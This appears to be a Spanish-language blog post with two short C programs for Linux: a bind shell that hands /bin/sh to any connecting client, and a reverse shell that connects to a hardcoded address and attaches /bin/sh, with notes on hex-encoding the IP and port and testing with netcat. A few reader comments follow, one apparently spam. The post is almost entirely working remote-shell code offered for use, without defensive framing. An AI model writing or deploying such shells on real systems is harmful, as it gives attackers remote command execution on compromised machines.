En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main () {
int sock,canal;
struct sockaddr_in dir_servidor;
dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;
sock=socket(2,1,0);
bind(sock,(struct sockaddr *) &dir_servidor,0x10);
listen(sock,1);
canal = accept(sock,0,0);
dup2(canal,0);
dup2(canal,1);
execve("/bin/sh",0,0);
}
Hacer un shell inverso tampoco es complicado, luego basta con usar netcat al otro lado.
/**
* reverseshell.c
* Shell inverso. Se conecta a un socket externo
* y asocia a un shell local.
* Para generar una IP en hexadecimal
* perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192'
* El puerto tb es un número hexadecimal:
* perl -e 'printf "0x" . "%04x" . "n",14099'
* darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337
* Para compilar:
* gcc -o reverseshell reverseshell.c
* Para comprobar:
* nc -l -p 14099
*/
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main () {
int canal;
struct sockaddr_in dir_servidor;
dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0xf901a8c0;
dir_servidor.sin_port=0x1337;
canal=socket(2,1,6);
connect(canal,(struct sockaddr *) &dir_servidor,0x10);
dup2(canal,0);
dup2(canal,1);
execve("/bin/sh",0,0);
}
3 comments |
PELMAlink |
Pues yo...creo que esta interesante el post lo voy a checar mas tarde
Ok, mal uso de ella ... ------------------------------------------- <a href="www.cisco-study-guides.com">cisco study guides</a> Ofrecerle grandes y útiles conocimientos sobre el mundo de Cisco.